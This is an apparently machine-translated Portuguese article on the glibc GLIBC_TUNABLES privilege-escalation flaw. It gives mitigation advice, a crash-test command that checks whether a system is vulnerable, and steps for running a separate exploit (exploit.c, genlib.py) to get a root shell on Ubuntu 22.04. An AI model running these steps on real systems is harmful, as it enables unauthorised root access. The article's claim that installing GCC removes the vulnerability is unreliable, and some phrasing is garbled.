A biblioteca GNU C (GLIBC) serve como a biblioteca C no sistema GNU e é parte integrante dos sistemas baseados em Linux. Na sua essência, o GLIBC define funcionalidades essenciais para programas, incluindo chamadas de sistema e funções comuns como Open, Malloc, Printf e Exit. O carregador dinâmico, um componente vital do GLIBC, desempenha um papel fundamental na preparação e execução de programas, gerenciando bibliotecas compartilhadas e vinculando -as em tempo de execução.
Introduzido para capacitar os usuários sem recompilação, a variável de ambiente glibc_tunables permite que os usuários modificem o comportamento do GLIBC em tempo de execução. Ele fornece um meio de ajustar os parâmetros de desempenho e comportamento, afetando a inicialização do aplicativo.
Uma vulnerabilidade de transbordamento de buffer no processamento dinâmico de Glibc_tunables representa um risco crítico de segurança. A exploração concede aos atacantes locais privilégios elevados, potencialmente levando a acesso total à raiz. Exploração bem -sucedida em grandes distribuições como Fedora, Ubuntu e Debian ressalta a gravidade e o impacto generalizado.
O uso indevido ou a exploração dessa vulnerabilidade pode afetar o desempenho, a confiabilidade e a segurança do sistema. Embora os detalhes da exploração sejam retidos, o risco é iminente, pois os transbordamentos de buffer podem se transformar rapidamente em ataques apenas de dados. As distribuições populares do Linux usando o GLIBC podem ser suscetíveis, enfatizando a necessidade de conscientização e mitigação imediatas.
Atribuído: 3 de outubro de 2023
Tipo: Escalada de privilégio local
Versões afetadas: Glibc 2.34 e mais tarde
Distribuições: Rhel, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo e outros usando a mitigação do GLIBC
Atualização: aplique atualizações do GLIBC imediatamente.
Monitor: Mantenha -se informado sobre os avisos de segurança.
Revisão: Avalie o uso do GLIBC_Tunables em aplicativos.
Auditoria: Examine os logs do sistema para obter atividades suspeitas.
Ubuntu 22.04 Ubuntu Glibc 2.35-0ubuntu3.1 SU do Util-Linux 2.37.2 ASLR ON
Ubuntu usado (versão 22.04.1) ISO para criar uma máquina virtual
Após a instalação bem -sucedida, não precisamos atualizar nada, mas instalaremos o pacote GIT e GNU Binutils, porque ele não é encontrado no sistema e, quando você compila o script de exploração Python, você enfrentará o erro.
Usando estes comandos:
$ sudo apt install git
$ sudo apt install binutils
Verifique se é vulnerável
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Se ele produzir
Segmentation fault (core dumped)
, será vulnerável.
Verifique a versão do ligante/carregador dinâmico, geralmente associado à biblioteca GNU C (GLIBC)
$ ldd --version
A saída dará a versão do glibc
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
Agora que sabemos
NOTA: Não devemos instalar o GCC na máquina, se a instalarmos perderá sua vulnerabilidade, portanto, o script não funcionará.
Como não temos o GCC instalado e precisamos compilar o programa C na máquina host e, em seguida, importá -lo para a máquina de hóspedes.
Podemos compilar o programa C com este comando
$ gcc exploit.c -o (outputname)
Depois de importar o arquivo de saída do programa C também importe o script Python (genlib.py).
Agora compile o script python
$ python3 genlib.py
Depois de compilar uma pasta '"" é criada.
Faremos isso na pasta em /tmp para que o usuário possa executar scripts e programas
Agora finalmente vamos executar o programa para escalar as privilégias raiz
$ ./(nameoftheprogram)
Levará algum tempo e receberá o shell da raiz.
Seguro para capacitar, não explorar!
Referências: